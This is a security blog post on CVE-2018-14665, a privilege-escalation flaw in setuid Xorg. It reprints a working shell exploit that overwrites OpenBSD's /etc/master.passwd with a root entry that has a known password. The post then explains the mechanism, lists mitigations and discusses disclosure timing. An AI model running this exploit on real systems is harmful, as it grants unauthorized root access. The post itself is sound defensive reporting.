X Windows, and the popular fork X.org, is notorious for security issues and vulnerabilities. Most recently, a bug in X.org that has been around for nearly two years and is trivial to exploit has been disclosed. It makes use of two command line arguments (-logfile and -modulepath) that overwrite files and can be used for privilege escalation if X runs with setuid root.

Even OpenBSD is not immune from this attack, as shown here by the simple exploit by hacker.house.

Disclaimer: do not try this on critical systems. Use only for assessment on systems you own or are authorized to run this.

#!/bin/sh
# local privilege escalation in X11 currently
# unpatched in OpenBSD 6.4 stable - exploit
# uses cve-2018-14665 to overwrite files as root.
# Impacts Xorg 1.19.0 - 1.20.2 which ships setuid
# and vulnerable in default OpenBSD.
#
# - https://hacker.house
echo [+] OpenBSD 6.4-stable local root exploit
cd /etc
Xorg -fp 'root:$2b$08$As7rA9IO2lsfSyb7OkESWueQFzgbDfCXw0JXjjYszKa8Aklt5RTSG:0:0:daemon:0:0:Charlie &:/root:/bin/ksh' -logfile master.passwd :1 &
sleep 5
pkill Xorg
echo [-] dont forget to mv and chmod /etc/master.passwd.old back
echo [+] type 'Password1' and hit enter for root
su -

The exploit above passes the /etc/master.passwd file on an OpenBSD system as an input to the -logfile argument of Xorg along with the -fp argument which specifies the font path. Since Xorg is running as root in this case as a result of the setuid bit, it will log the font path provided in the command line overwriting the password file with the crafted entry that can be used to escalate the privileges.

How can you protect yourself from this:

1. Remove the setuid bit on the Xorg binary. This may cause disruptions for individuals starting X directly. This can be considered as a stop-gap until appropriate countermeasures are in place.
2. Make use of a display manager to start the X sessions, so that the Xorg binary does not require root privileges. In the meantime, pick up the security updates to Xorg from your distribution as and when it becomes available.
3. Uninstall Xorg from systems that don’t need it. Even if it is not running, it provides an avenue for hackers to exploit a vulnerability simply by virtue of the vulnerable application being installed, such as in this case. It is always a good practice to only install applications and packages that are required on critical systems to prevent vulnerabilities from providing an attack vector for malicious actors. For instance, an arbitrary code execution vulnerability in a web application can be used to remotely exploit this vulnerability and gain a remote shell without requiring a local account access.

On a different note, while it’s important for public disclosures of this type of vulnerability, it is also important to provide time for affected distributions to take action so that it doesn’t cause widespread havoc given how easy it is to run the exploit. At the time of this writing, here’s the status of the Xorg package on Debian with respect to this CVE:

You can find the most up to date status on the Debian Security Tracker for this CVE-2018–14665.

Theo De Raadt of OpenBSD has been vocal on how the disclosure has taken place given the severity and the widespread affliction of the vulnerability. It is probably indicative of a broader issue surrounding disclosures and finding the right balance to reduce the impact to those affected.

In the meantime, patch up and stay safe!